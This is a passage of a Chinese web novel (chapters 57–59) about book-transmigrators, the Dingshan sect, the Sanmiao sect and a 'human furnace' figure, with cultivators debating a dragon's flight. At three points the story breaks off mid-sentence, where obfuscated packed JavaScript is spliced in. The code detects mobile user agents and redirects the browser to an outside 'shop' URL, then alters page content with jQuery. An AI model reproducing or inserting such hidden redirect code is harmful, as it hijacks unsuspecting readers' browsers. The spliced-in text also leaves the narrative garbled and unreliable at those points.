既然张师铭说他们可疑,那就去较量一下。 卫池神色一敛,已经做好打算。 “人炉能转化龙息,也就是能削减龙息,”张师铭不清楚鼎山的情况变化,依然满面愁容,“只要鼎山龙息减少,三渺宗就能赢。” 他说得好像都已经看到三渺宗昭告天下,最后赢的是他们。 虽然虚无缥缈,但三渺宗就是这种德性。 不过何人出面制止,那就会超出张师铭所想。 卫池满脸疑惑:“如何避免这种事?” “人炉最好别在禁地太久,不然有可能莫名其妙转化龙息。” 卫池仿佛很想不通:“我没有这个意思,也能强行转化?” “他们当然能违背你的意愿。”张师铭说出真相。 这话都有点骇人听闻,世间确有此事,而且要达到目的需要不少代价。 若是三渺宗有这种意图,卫池也只能束手无策。 情况似乎相当恶劣。 不过最后他问:“那么你来鼎山是谁的意思?” 他没有顺着这番话走下去,而是完全站在其他位置。 似乎张师铭话里的弯弯绕绕,他站在高处一眼便知。 张师铭瞬间无话可说,突然发现小说男主并不好骗。 都已经走到这里,结果他反手就是一刀。 “绝对不是三渺宗。”张师铭赶紧解释。 不过这话说得他仿佛是被人操控。 “外面的修道人士不会消停,三渺宗也是,就看你能做到哪一步。” 卫池说得顺理成章,此时恰好有修道人士再次爬上半山腰大殿,三渺宗人就混在其中。 张师铭再怎么担心,都不如亲自去解决问题。 57. 交锋的结果 张师铭无法得知护山大阵的变化,因此不知道修道人士再次来到鼎山。 卫池的话让他觉得有点危险,毕竟之前跟罗白音、孙峥湖、冬青说话,他们顶多就是气势汹汹、阴阳怪气,让张师铭觉得不好对付。 但此时卫池仿佛已经看透他在想什么。 虽然自己一直在撇清跟三渺宗的关系,但紧密相连是不可否认的。 卫池就像是个观棋者,轻轻点出棋局关键。 张师铭自然不能被吓到,所以说:“之前那些人到鼎山出言不逊,我只是恰好跟他们一路上来,并没有牵连。” 他以为卫池是在说曾经,当时修道人士确实是由他召集而来,可此一时彼一时,总不至于眼下还要怪罪那时的事。 卫池知道他是什么意思,不过张师铭不知道他是什么意思。 因此他说出真相:“眼下他们又来了,你跟三渺宗是什么关系,就看你接下来的表现。” 三渺宗再次上鼎山,当然不是张师铭的意思。 他只是之前让那些人一起上山挑事,后续安排就与自己无关。 没想到如今那些人又来鼎山,这真不关他的事,绝对是三渺宗自行决定。虽然自己的地位今非昔比,但三渺宗依然我行我素。 眼下他们肆意妄为就给自己带来麻烦。 鼎山有护山大阵,外人想进入必须获得鼎山弟子许可。如今没有张师铭助力,三渺宗自然只能遵照鼎山规定,先说明来意、亮明身份,然后才能上山。 卫池身为鼎山弟子,自然能从护山大阵的变化得知这些事。 张师铭再次无话可说,感觉都是自己挖坑自己跳。 三渺宗那些人不好好修炼,还四处耀武扬威,看来是要给他们一些教训。 “上次我看到一群人聚在山下就感觉有问题,”张师铭摇头叹息,“那些人果然不会善罢甘休,估计不达目的誓不罢休。” 卫池问:“他们觉得鼎山是威胁?” “差不多吧,所以要尽早铲除。”张师铭摇头叹气。 “既然鼎山掌门是你救命恩人,那你就要成为他们的威胁。”卫池说。 听到这句话,张师铭都有点欲哭无泪。 他写的小说男主根本不是这样,改名换姓之后连性情都变了? “绝不允许他们动鼎山。”事已至此他也不能拒绝,只能强调。 得到冠冕堂皇的说辞,卫池才说:“我就不去了,张真人慢走。” 此时的张真人似乎只是一种讽刺。 不过张师铭没心情计较,现在关键在于给三渺宗教训。 因此他离开禁地,直接通过阵法转移到半山腰大殿。 大殿前站着二三十人,看到其中的三渺宗人,张师铭就怒火中烧。 原本是他在烦其他人,结果那群人又来给他添麻烦,不管什么时候三渺宗都在烦人。 这次要是不让他们吃点苦头,还真以为他铭祖好欺负。 鼎山半山腰大殿前,三渺宗和修道人士站在一起。这次他们是通过鼎山弟子允许才来到这里,所以不会再打起来。 上次说了几句就打成一片,很多事情还没讲清楚。 虽然铭祖已经混进鼎山,但其他人还不知道究竟怎么回事。 于是这次三渺宗带头,肖天阳站在最前面郑重询问:“此次真龙飞天意义重大,不过我们都不清楚详情,还请鼎山跟大家说明一下。” 真龙飞天确实不同凡响,孙峥湖早就想好说辞。 只是上次打成一片,也就不了了之。 这次正好说明情况。 因此他不慌不忙地说:“真龙飞天的关键不在形而在势,若是没有气吞山河之势,形只是一张画,画得再像也不可能脱离纸片。” 原本这只是前奏,重点在后续内容。 不过三渺宗那边立即有人发声:“你的意思是我们让众人研究化形不对?!” 由于之前跟张师铭争来争去,所以孙峥湖也不再大惊小怪,只是抬眼一看,发现是个花枝招展的女子。 乍看有点可爱,但细看就有点凶神恶煞。 ——正常人谁会这样气势汹汹上门。 孙峥湖不想纠结对错,只是委婉地说:“研究化形自然必不可少,只是还不够。鼎山虽然没有像其他人那样苦心钻研,但基本龙形还是清楚的。” “不是三渺宗不对,只有你不对。”肖天阳低声嘲讽。 姜凝怒气冲冲,这次让他抢到率先开口的位置,结果还趁机挖苦自己。 “你再对也一事无成!”姜凝大声指责。 肖天阳轻声感叹:“成事不足败事有余。” “那件事跟你有什么关系?!” “跟我们都没关系,你就不必大呼小叫。” 修道人士是来鼎山询问真龙情况,结果三渺宗人直接吵起来。 孙峥湖原本还担心自己没解释清楚,不过现在只有那两个人在吵架。 其他人看他们吵也不方便制止,因此吵得没完没了。 以至于其他人都开始小声聊起来。 最后大殿旁边传来一个声音。 “既然有正事要办,就别在这里吵了。” 那个声音不大,听起来很无奈,不过吵架双方转头一看就马上闭嘴。 张师铭从禁地赶过来就听到有人吵翻天,走近发现就是三渺宗那两个,顿时心情复杂。 三渺宗人我行我素跑上山,现在又吵得人尽皆知,真不知是要干什么。 他才说跟三渺宗没关系,那两个可千万别说出什么惊人信息。 即使是假的,其他人也会当真。 “大家都是修道人士,还是别把心思放在那种事上。”张师铭看起来都要哭了,前脚有小说男主挖坑,后脚就被三渺宗踹进去。 他只能想办法赶快爬出来。 至于脚下踩的是谁,这就没必要知道。 “他们两个年轻气盛,所以有点急,还请见谅。”谭明诗顺势解释,态度截然不同。 以前张师铭进入三渺宗就是她帮忙,如今看来也要配合行事。 于是他说:“真龙飞天前所未有,着急也是人之常情,不过今天重点是要搞清楚究竟怎么回事。” 张师铭转头看向孙峥湖,对方就马上开口:“真龙之形世人皆知,真龙之势却很难触及。鼎山尝试摸清其中关键,所以这才有鼎山中人化龙。” 这是浅显易懂的解释,众人一听就恍然大悟。 真龙之形常见,真龙之势不常有。 真龙高于众生,除了化形还有化势,也合情合理。 ——说起来就是化龙不止化形。 “真龙飞天很正常,不过飞往鼎山就有点奇怪。”谭明诗提出一个点。 这也是众人的困惑,万仞山曾是无根海,那里是真龙栖息之地。 可千溪镇出现的龙没有飞往万仞山,而是鼎山。 感觉无论怎么解释都不合理,反正都是鼎山的问题。 张师铭趁机解释:“化龙需要消耗大量功法来维持,一旦化龙途中功法耗尽,化龙之人就有可能以龙形销声匿迹。” 真龙在千溪镇上空打得天昏地暗,没有当场暴毙就是万幸。 所以接下来最重要的就是补充功法。 对真龙而言,最好的功法当然是龙息。 万仞山龙息跟鼎山相比还是小巫见大巫,而化龙之人又出自鼎山。 所以真龙飞往鼎山,只是为了保命。 孙峥湖和张师铭将起因经过结果解释清楚,修道人士也不好再怀疑,毕竟真龙飞往鼎山只是为保全性命。 世间真龙早就销声匿迹,唯一的龙当然是保命为上。 “那么现在真龙怎么样了?”谭明诗又问出关键问题。 张师铭回答:“化龙消耗的功法过大,以至于化龙之人无法直接变回人形,只能由他人协助化龙之人逐步变化形态。” 他既是解释真龙的情况,又是解释自己的情况。 “难道是你协助真龙变化形态?”姜凝皱眉问。 “鼎山掌门曾经救我一命,如今我帮真龙变回人形也算报答救命之恩。” 张师铭态度很客气,说得也合情合理,不过姜凝并不接受。 其实她一直对铭祖心怀疑虑,这人出身不明却神通广大。原本三渺宗长老并不待见他,后来在谭明诗帮助下他才展露头角。 真龙飞天以后他就形迹可疑,如今完全站在鼎山那边,似乎都已经忘记三渺宗的存在。 姜凝气不过就问:“曾经三渺宗救过你一命,你怎么不报答?” 三渺宗救过张师铭的事当然为假。 可是旁人闻言只会怀疑他人品,不会考虑事情真假。 张师铭之前就在极力撇清关系,结果到头来被姜凝一脚踹进坑里。 之前的铺垫都变成空谈。 因此他瞬间沉默。 张师铭没有回答,孙峥湖有些疑惑,其他人一脸茫然,现场瞬间鸦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你们都是一伙的!”姜凝气冲冲地转身就走。 其他人围观他们吵了一架又一架,也不知道是干什么。明明是过来问真龙之事,结果动不动就吵起来。 只能说明三渺宗人脾气都很大。 谭明诗和肖天阳两人陆续告辞,其他人则依然站在半山腰大殿前听孙峥湖描述化龙之人的情况。 化龙之人虽然大致稳定,但还是容易受四周环境影响,因此只有化龙之人的徒弟守在禁地。其他人若是想过去一看,风险太大,当然不行。 而且如今真龙已化形为蟒,他们过去也看不到龙形。 说了半天,众人只确定化龙有风险,风险还很大。 今天三渺宗吵来吵去,说不定也是风险。真龙都得找合适之地休息,三渺宗万一倒霉,也许真就出事。 他们说着话走出鼎山,准备离去。 结果在鼎山山脚又看到之前那两个三渺宗人。 谭明诗和肖天阳面色凝重,望着地上一具尸体。 众人走过去一看,发现躺着的竟然是姜凝。 只不过她此时双眼紧闭,面无血色,身上没有起伏。 姜凝没有任何外伤,也没有任何气息,似乎只是单纯气绝身亡。 没有任何中毒迹象,也找不出功法痕迹,除了气绝身亡找不出其他死因。 顶多就是倒地之处还掉着一面桃花布帘,不过那是三渺宗的东西,姜凝随身携带也正常。 那块布帘仿佛花瓣飘落在地,再也没有向上生长。 正如倒地不起的姜凝。 三渺宗原本是上山兴师问罪,结果最后突然有人暴毙身亡。 谁也说不清究竟怎么回事,就算被人暗算也该找到一点线索。可姜凝身上没有任何痕迹,只是气绝身亡。 谭明诗觉得很诡异,只好将桃花布帘跟姜凝尸体一起送回三渺宗。 ——只能说铭祖未必是三渺宗助力。 众人气势汹汹地来又悄无声息地走,就像鼎山龙息变化一样大起大落。 鼎山龙息在轮回中就有这种天壤之别的变化。 这次轮回结束时鼎山龙息消耗大半,但下次轮回开始时鼎山龙息又恢复大半。 龙息衰减还算常见,毕竟世人虽畏惧龙息压迫,却也会想办法利用龙息。 但龙息恢复就举世罕见,从未听说有人会干此事。 九炼洞窟不受轮回影响,时间只是一路向前。 因此鼎山龙息的近百次变化,让他们相当震惊。 他们研究很久,最后认为那是人炉所为。 齐云鲤听到这个消息大为震惊,毕竟鼎山人炉就是卫池。 他要是还干这种事,那得好心成什么样? 可之前卫池基本就没好心过一次。 58. 全新发现 小说《长夜道枯》情节跌宕起伏,经常超出读者预期,因此人气很高。读者一边猜测后续剧情,一边期盼小说男主再打一场,读后感和期待感比较复杂。 不过齐云鲤对小说男主只有同情,她发现大量小说漏洞,男主就在漏洞之间夹缝求生。 如果大打出手,基本就是对漏洞忍无可忍。 一路修补漏洞,结果最后鼎山直接灭门,任何人都束手无策。 在读者义愤填膺时,齐云鲤觉得这都已经不是漏洞,而是万丈深渊。 深表同情的她穿书以后始终在帮忙,虽然没什么用,但心理负担小一些。 谁知帮到最后惨遭毒手。 再次苏醒的齐云鲤发现卫池根本就不用帮忙,他还给你添麻烦。 ——那个人绝对没好心。 不过让鼎山龙息恢复的事,不是光有好心就能办成。 这得掌握世间很多匪夷所思之事,摸清修为背后的东西,然后将生死置之度外,才有可能做到此事。 如果真是卫池干的,这都好心到不可想象。 这跟齐云鲤接触到的那个人截然不同,所以她完全不信。 领悟那种程度的奥秘,还将天下苍生放在心上,世上没人能做到吧? 齐云鲤没有直接说出这个观点,只是听菩提慧海和五个修道人士讨论。 之前她让那些人转换思路,现在菩提慧海就进一步加强巩固。 他们熟悉这件事,因此说得很顺畅,仿佛明天就能上台说书。 只是在他们的滔滔不绝里,齐云鲤发现问题。 他们说的人炉跟自己认识的卫池根本就是两个人。 菩提慧海他们说得仿佛是什么超脱俗世的圣人,这跟隔三岔五就下死手的卫池根本就不是一回事。 可虽然她无法理解,但越听越像这么回事。 毕竟面具人是小说作者,三人行又在剧情里埋那么多漏洞,最后直接把场子砸了。 如今他要颠覆这片天地,一般人根本无法对抗。 作者无所不知无所不晓,那么对立面的人也得有相应认知。 不过神通广大到那种程度,还只是个寻常鼎山弟子,就太过天方夜谭。 有这种本事早就打遍天下无敌手,还呆在鼎山干什么? “鼎山早就知道人炉跟他们迥然不同,还将他当作常人,”菩提慧海宽慰道,“因此即使你们异于常人,也还是能被世人接受。” 那五个修道人士心智宛如幼儿却通晓天地,两边差距过于悬殊,以至于他们畏手畏脚,什么也不敢做。 虽然别人始终都是错,可他们也怎么也不对。 以前说真龙的事就没人相信,现在更是举步维艰,似乎无论如何也救不了。 那五个修道人士垂头丧气,菩提慧海劝半天也没用。 最后只有齐云鲤出马。 “人炉能让鼎山龙息恢复如初,你们就能让真龙彻底痊愈。虽然世人觉得人炉是祸害,但人炉能扛起鼎山重任,所以即使其他人认为你们口说无凭,但你们能让怀疑者也成为天地重现生机的证据。” 这段话相当讲究,既是把人炉和修道人士放在相似位置,又将人炉作为铺垫,让修道人士觉得自己还能更进一步。 人炉不为世人所容,他们不被世人理解。 但人炉还能全力保护鼎山,所以他们也能彻底拯救天地。 那五个修道人士听完想了又想,最后觉得他们能跟人炉合作拯救天地。 由于太过有理有据,齐云鲤都快被说服。 之前石月观音不断保证小说男主绝对是好人,都不如现在效果好。 毕竟那只是个人感受,现在可是有真凭实据。 齐云鲤认真跟菩提慧海讨论鼎山龙息的事,结果发现真就是这样。 鼎山龙息虽然不断衰减,但是能定期恢复。 此事千真万确,能做到的人只有一个,那就是鼎山人炉。 世人饱受龙息压迫时,人炉能跟龙息共存,就是他们与龙息保持平衡。 因此他们比普通人更了解龙息。 龙息起伏在世人眼里是天道不可违,但在人炉看来只是潮起潮落。 再怎么匪夷所思也稀松平常。 齐云鲤没有什么困惑,只是发现卫池似乎真的是好人。 按照面具人的作风,天地轮回三、五次,发现无法扭转局面就会罢手。 但如今这片天地已经轮回数十次,甚至近百次。 这就不是面具人会做的事。 ——只可能是卫池。 他一直在救鼎山,又始终无可奈何,只能不断消耗人炉之火来给天地续命。 所以最开始在鼎山禁地被炼化出人炉之火,他才能若无其事。 发现此事的齐云鲤开始跟修道人士认真讨论怎么跟人炉合作。 毕竟他们跟人炉合作还得找准时机、校对角度,而自己只要离开九炼洞窟就能跟卫池合作。之前感觉他可疑又诡异,现在发现再可疑再诡异那都是面向作者。 身为鼎山中人,齐云鲤再安全不过。 之前感觉面具人很难对付,不过现在发现能跟卫池合作,瞬间简单很多。 九炼洞窟里众人在商量接下来的事情发展和应对,远处的鼎山则有点过于安静。张师铭弄死三渺宗姜凝,一时便不敢大意,毕竟有太多事出乎意料。 稍有不慎,就可能满盘皆输。 因此他规规矩矩呆在鼎山帮忙化形,那些烦人的事都没必要留意。 姜凝说三渺宗对他有救命之恩,这才是重点。 万一鼎山中人信以为真,开始怀疑他那可不好,毕竟现在就各种看不顺眼。 于是接下来一段时间,张师铭都老实安分。 不过他也发现鼎山的不同。 在三渺宗的时候,张师铭都是根据地位、金钱将他们分成各个区域,不同区域采取不同措施。 以至于虽然在同一门派,却为各自利益你争我夺。 而鼎山所有人都没钱,无论如何都利益一致。 所以从上到下,无论罗白音还是鼎山弟子都不好对付。 因为他们要做的事都一样。 卫池、罗白音、孙峥湖、冬青都很棘手,鼎山弟子也烦得不行。 张师铭实在无可奈何,只能乖乖呆在鼎山。 面对他的变化,鼎山中人基本都松了一口气。 不过身处禁地的卫池发现张师铭跟三渺宗确实有关联。 铭祖跟三渺宗紧密相关,面具人跟止水宗密切相连,这要是还算轻巧,那世上就没有难事。 之前光是对付面具人就相当勉强。 面具人不断毁灭鼎山,卫池用人炉之火抓住最后一缕气息,在彻底毁灭之前重新开始,因此不停轮回。 他在轮回中不断对抗面具人,但是都以失败告终。 直到这次轮回,他才攒够与之抗衡的力量,总算是要最后一战。 然而这时他发现面具人跟止水宗、三渺宗都有关。 止水宗是邪魔歪道,三渺宗是名门正派,不过似乎都在面具人掌控下。 对付面具人已经够麻烦,再加上止水宗和三渺宗,不用想都知道毫无胜算。 虽然已经在不断加强鼎山弟子的能力,但目前来看依然还是很勉强。 面具人那边人多势众,那么自己这边就不能势单力薄。 既然齐云鲤曾经帮过他,接下来继续帮忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192424|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也顺理成章。 以前只知她是占据青湖躯体的魂魄,诡异又可疑。 如今发现那个青湖是货真价实的救命恩人,就是曾经那个齐云鲤,那么接下来双方合作对抗面具人就没有任何问题。 之前打过好几次,可以看出齐云鲤经验丰富。 而且她还能调动青滔的剑阵,并且传授给鼎山弟子,让众人学会运用丹青宝卷的元气。其他人完全做不到这些事,但齐云鲤做得相当自然。 她又亲自教训过三渺宗和止水宗,感觉对付那两个势力不在话下。 到时候分工合作,一人一边,应该不会有太大问题。 毕竟青湖和丹青宝卷都已出现,主力已经确保,之后不会有什么偏差。 既然上善若水,那就由他来对付面具人。 在这段相对平静的日子里,鼎山弟子依然在帮助山脚老百姓。 孙仲礼很想不通为什么他们能在山脚安居乐业,因此隔三岔五就下山帮忙,希望找到点线索。 但那些人认真学习,安稳度日的模样连他都自叹不如。 他们学的东西都很粗浅,按理来说根本无法对付山下妖精。 但始终没有出事,也没有发生骚乱。 孙仲礼莫名其妙在山脚施法布阵,稳定布局,然后就看到不远处的草丛里冒出一个野猪头。 那头猪哼了几声,就丢过来三个竹笋。 “这是我挖的笋,能换点豆角吗?” 孙仲礼完全没想到还有这种事,顿时就愣住。不过旁边有个村民将一把豆角放到草丛边,然后拿走竹笋。 野猪精拿起豆角欢天喜地跑了,那个村民回来继续干活,只有孙仲礼目瞪口呆。虽然千溪镇百姓见多识广,但也不至于这么淡定。 ——妖精和人还能这么和谐相处? 旁边的村民干完活已经离开,孙仲礼却还没解决手头问题。 虽然努力学习一段时间,这类问题已经能应对。 但之前情况太过错综复杂,小说里又完全没有相应描写,他纠结很久也没想明白是怎么回事。 当他站在原地一炷香之后,原本还没成形的阵法突然彻底稳固。 孙仲礼回头一看,发现背后站着那个鼎山的外人——张师铭。 那人一开始有点深不可测,不过最近时常在附近帮忙。他看起来并不乐意,却也没有排斥,因此鼎山弟子时不时就让他过来。 孙仲礼没有跟他交谈过,所以只是礼貌道谢。 就在这时,不远处的草丛又传来几声哼哼,那个野猪头再次冒出来。 “还能给我几个豆角吗?下次我多挖点笋子过来。” 孙仲礼什么也没有,自然没说话。 张师铭也一言不发。 不过之前那个村民拿着几个豆角过来放到地上。 野猪精声音不大,村民却能及时过来,说明是通过阵法联系。 妖精和人通过阵法来传声,相当不可思议。 但眼下却又顺理成章。 野猪精拿起豆角跑了,村民就转身往回走。 孙仲礼实在忍不住就问:“就不怕他言而无信?” “那些笋子这边长不出来,反正我没亏。” 村民满不在乎地说出口就走回木屋。 然后孙仲礼听到一旁传来轻微叹息。 “唉,小说里可没这些事。” 身为年少无知的小学生,孙仲礼的反应只有惊讶。 “你也看过《长夜道枯》?” 这句话一出,张师铭的脚步就停下来。 他转身看向那个稚气未脱的鼎山弟子,突然发现这是惊天宝藏。 貌似鼎山终于出现一个可以拿捏的对象。 59. 解决办法 张师铭始终让太渊真人将小说读者叫过来。 既然能把他叫来,那就还能叫来其他人。他以拯救天下苍生个人之力还不够的名义,拖来其他穿书者。 穿书者源源不断,都在给张师铭提供力量。 太渊真人精疲力竭闭关休息,张师铭就趁机尝试改变世界。 忙到鼎山灭门时也没能解决问题,他就杀死穿书者夺取力量,再让太渊真人重新叫人过来。 如此循环往复,直到今天。 太渊真人再高深莫测也没料到,自己耗尽心血请来的张师铭在祸害天下苍生。 他还以为自己总算找对人,因此拖过来一个又一个穿书者。 穿书者基本年纪不大,所以对突如其来的穿越束手无策。好不容易接受这个稀奇古怪的世界,鼎山就差不多灭门,因此基本没人发现真相。 除了很久以前出现一些问题,其余时间尽在张师铭掌控。 这次在青湖躯体里出现一个人,张师铭还以为那就是穿书者。 没想到在鼎山脚下遇到个稚气未脱的鼎山弟子,这才跟以前那些穿书者一回事。什么也搞不清,但能给他提供力量。 他还以为这次的穿书者是青湖躯体里那个人,那就真是天要亡他。 ——幸亏天无绝人之路。 因此张师铭猛然一停,转头过去瞪大双眼,然后慢慢问:“你知道《长夜道枯》这本书?” “我还没看完。”孙仲礼有点不好意思。 张师铭又问:“你看到哪里?” “他们去千溪镇遇到三渺宗……”孙峥湖回答。 鼎山弟子去千溪镇在比较靠前的位置,连小说内容一半都没到。 之后放眼天下,各种稀奇古怪的事应有尽有。 当前这个人略显羞涩,知道的也不多,那就是不可多得的好苗子。 之前被那个青湖打了一路,张师铭还以为没有希望,没想到居然在这里遇到一个穿书者。 看来那个青湖是不知道哪里冒出来的孤魂野鬼,并非穿书者。 他就说穿书者只会成为自己的助力,而不是阻力。 只要力量来源没有断绝,那就谁也拦不住他。 所以张师铭瞬间和蔼可亲,他低头小声说:“前段时间三渺宗还来鼎山闹事,孜孜不倦啊……” 孙仲礼之前只是略有耳闻,并不清楚具体情况,于是问:“听说当时你就在现场,到底怎么回事?” “三渺宗来了三个人,其中有个女的吵来吵去,最后不欢而散。听说她死在山下,也不知道怎么回事,幸亏没有找鼎山算账。”张师铭简单交代。 孙仲礼不免有点惊恐:“啊,就在鼎山山脚?” ——之前那个野猪精顿时有点恐怖。 张师铭知道他在担心什么,就说:“她没有任何外伤,只有修为高深之人才能做到,不是附近妖精。” “所以你才下山帮忙?”孙仲礼十分困惑。 “虽然不是妖精,但不知是何方神圣,所以还是要小心提防。” 说到这里,孙仲礼就对张师铭深信不疑,于是问:“那本小说你看完了?” “都没写完,看到最后也没用。”张师铭叹了一口气,仿佛只是追更读者。 孙仲礼由衷感叹:“想不到有这么多读者,刚开始我还以为只有自己。后来遇到一个,现在又遇到你。” 这就说出一件事,这次的穿书者不止一人。 张师铭一愣:“还有一个?” 同时有两个穿书者感觉就没好事。 “鼎山化龙的那个就是啊。”孙仲礼说出答案。 化龙之人之前一直在帮他,所以他也有些骄傲。 倒霉一路总算有个扭转局势的人。 张师铭顿时无话可说,原来从始至终都在打他的就是穿书者。 那个人就算是读者,知道的也有点多。 之前还以为那是青湖专门做出来对付他的工具,没想到居然是穿书者。 那个穿书者跟其他人截然不同,再熟悉剧情也做不到那一步。 毕竟就连他这个作者有些事也不清楚。 单纯只是读者怎么可能懂作者都不知道的事? 张师铭沉默了,事情太过出乎意料。 他以为青湖就够麻烦,没想到还有更麻烦的人。 小说虽然是他写的,不过创意不是他的。 假如那个穿书者知道这件事,后续发展就有点不可想象。 孙仲礼察觉不出危险,只是很疑惑地问:“怎么了?” “化龙代价有点大,之前感觉要三年时间恢复,如今看来说不定要五年……”张师铭无可奈何地回复,貌似事情超出所料。 不过实际上他担心的并非这件事。 孙仲礼年少无知不清楚张师铭有多危险,只是觉得总算出现一个老乡。 以前齐云鲤和卫池都在帮他,不过真龙抵达禁地后那两人就不见踪影。孙仲礼知道事情重大,也不好心生不满,只是接下来的事一件比一件让他想不通。 他还在担心怎么解决麻烦,想不到竟然又出现一个读者。 ——只能说苍天庇佑。 于是孙仲礼和张师铭怀着不同目的互相接触,一边在学一边在教,只是教学成果如何还不得而知。 他们两个表面上没有教学形式,只是讨论小说和这个世界的差异,但孙仲礼听到很多貌似有用的知识。 虽然跟齐云鲤说的不一样,但是能解答当前疑惑就很好。 她说秋容女仙和菩提慧海的地盘不会出现在鼎山,张师铭却认为很可能就藏在鼎山某个角落。 齐云鲤说布阵世间罕见,张师铭却觉得布阵过于局限,只有打斗才能解决小说问题。 虽然那两个人还没见面,但感觉已经吵得不可开交。 孙仲礼当然不会去比较输赢胜负,因为那两个人就算输了也比自己厉害。 他认认真真地学,发现能学的东西太多,也只能赶紧补课。 要是齐云鲤恢复人形时自己还一无所知,那就实在说不过去。 身在九炼洞窟的齐云鲤当然不知道孙仲礼的努力,不过她自己就在努力理解菩提慧海和修道人士的话。 他们将鼎山人炉描述得无所不能,她都觉得太过异想天开。 然后菩提慧海还要求齐云鲤扮演鼎山人炉,青湖扮演幕后黑手。 人炉在修道人士帮助下跟幕后黑手一决胜负。 这都匪夷所思到无法形容,而且被青湖打,还不如继续体验各种死法。 可她怎么说都没用,最终只能上擂台比武。 一开始她被打得毫无还手之力,就算以前也没有这么大的悬殊。最后那五个修道人士说他们在加强青湖攻击,争取达到一击毙命的效果。 齐云鲤无话可说,只能庆幸自己只是魂魄,不会吐血。 不过接下来就一直持续,她被打个没完。 半个月以后修道人士才说这就是人炉面对的困境。 齐云鲤已经被打得哑口无言,最多也就是感慨自己太过天真。 这个时候菩提慧海才说这就是人炉的处境,他一直在克服,始终没放弃,所以她也不能撒手人寰。 “撒手人寰是用在这种地方吗?”齐云鲤实在忍无可忍。 青湖强调:“你早就死了,没有问题。” 齐云鲤气得躺地上不再起来,青湖就把她拖到一边,让真龙压着她睡觉。 虽然不致死,但是也真的难受。 齐云鲤拼死拼活爬出来,菩提慧海才说:“人炉与龙息共存的感受就跟这个类似。” 任何言谈都没必要,她撑起来抓着他就是一顿打。 结果打着打着青湖也加入战局,又跟她打起来。 齐云鲤被气得不行,因此打得格外认真。 不过青湖也认真起来,两人再次回到仙子林里那场较量。双方都变出长剑,针锋相对。之前没打出满意结果,所以这次齐云鲤尤其卖力。 她将之前所有打斗的经验教训总结分析,再做出相应调整。 一边打一边想,动作还不能慢。 看起来是动武,其实还在动脑子。 而且曾经在青湖面前的破绽都彻底消失,虽然还是单打独斗,但以前那个破绽百出的鼎山弟子已经脱胎换骨。 眼下在九炼洞窟里较量的双方都经验丰富、身经百战,所以较量时既是比较各自剑法,又是摆出双方经验。 她们都跟青滔、张师铭、止水宗打过,所以不经意间便会透出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197031|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾经的气势。 以前在仙子林时,青湖已经打过一大半有名有姓的修道人士,齐云鲤还只初出茅庐,所以双方对比悬殊。 即使已经很克制,青湖还是轻松获胜。 但此时的齐云鲤已经打过太多次,基本从她再次睁眼就没停过。 货真价实的搏杀、打斗有一堆,还有层出不穷的麻烦。 之前以为舞刀弄枪才算斗,现在发现活着就是斗。 要想活着就得斗,不斗只有死路一条。 两人在九炼洞窟僵持不下,那五个修道人士便开始在后面帮齐云鲤。 平平无奇的打斗瞬间就乱了阵脚,这时青湖脚底一滑被砍中,那时齐云鲤又转身撞上石壁。 两个人接连倒霉,而且全都莫名其妙。 最后倒霉得双方都不耐烦,菩提慧海就赶紧说:“真实较量过程漫长,所以肯定会有出人意料的事。不是特定某个人中招,只看是谁不小心撞上。” “还有这种事?!”这话说得倒霉都顺理成章,齐云鲤忍无可忍。 青湖没有发火,只是直接停下来不打了。 原本以为这只是随口胡说,谁知菩提慧海掏出小本子,一边翻看一边说:“我看一下,至今为止莫名其妙出现的乱象有几百次。” 从第一次鼎山灭门开始,天下就时不时出现乱象。 可大可小,可早可晚,遇到乱象的人也千奇百怪。 不知什么时候会出现,也不确定什么人会遇到。 仿佛天地毁灭前的垂死挣扎,这次碰到这几人,下次遇见那几个。 然而就是在这种境地,鼎山人炉还能跟面具人僵持不下,轮回近百次。 最后菩提慧海说:“你能打又能扛,是人炉不可多得的助力,务必要有效合作。这样才能解决鼎山灭门,拯救天下苍生。” 鼎山灭门龙息就消失殆尽,龙息消失真龙就渺无生机。 一旦最后的真龙烟消云散,那么天地毁灭就是定局。 菩提慧海没有说卫池好话,但比石月观音的滔滔不绝有效得多。 毕竟事实就在眼前,谁也无法否认。 虽然之前卫池稀奇古怪,但他始终在面具人对面。 最开始他倒在禁地雪里毫无还手之力,也没有特别无助。 面具人从他身上炼化出的功法飘到齐云鲤这边,她才有力气反击。 之后被面具人打退,卫池又提醒她使用人炉之火,还亲自交给她。 ——虽然很奇怪,但立场无比坚定。 齐云鲤觉得可以学习卫池的做法。 他能利用自己的人炉身份,那么她就能利用穿书者身份。 小说里那些层出不穷的漏洞可以用来对付作者。 由于都是穿书者,所以那个人大概几斤几两她还是清楚。 想到这里,齐云鲤就觉得跟青湖打架无关紧要,还是跟修道人士讨论整体局面更关键。 于是她也不打了,转身就跟众人开始商量。 九炼洞窟和张师铭都风平浪静,但鼎山禁地却有点险象环生。 虽然张师铭的确在帮化龙之人恢复,可途中时不时就有乱象,还都发生在卫池单独一人时。 那些跟之前的天下乱象如出一辙,以至于卫池不得不怀疑这到底怎么回事。 之前的轮回里,他不停对抗面具人,不断遭遇乱象。 如今呆在禁地无事发生,结果还是出现乱象。 